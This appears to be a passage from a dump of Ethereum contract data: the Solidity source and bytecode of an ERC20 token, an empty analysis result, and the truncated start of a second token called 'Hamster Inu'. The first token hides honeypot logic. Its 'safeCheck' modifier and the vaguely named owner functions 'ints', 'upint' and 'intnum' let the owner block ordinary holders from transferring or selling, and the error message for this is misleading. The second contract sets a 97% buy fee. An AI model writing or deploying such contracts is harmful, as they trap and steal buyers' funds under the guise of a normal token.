function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_ORAO(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209928c5bb8f2ecadca4138e444a96d51361f2390e433ba46f7ebf0886ec2543ff64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 5,141 |
0x71527b0a50be46a3d2e822432773219f1d9288e6
|
/**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HamsterInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Hamster Inu";
string private constant _symbol = "HINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x44572aAbB49BE13F845A963dF52a8756141095E6);
address payable private _marketingAddress = payable(0x44572aAbB49BE13F845A963dF52a8756141095E6);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 5000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
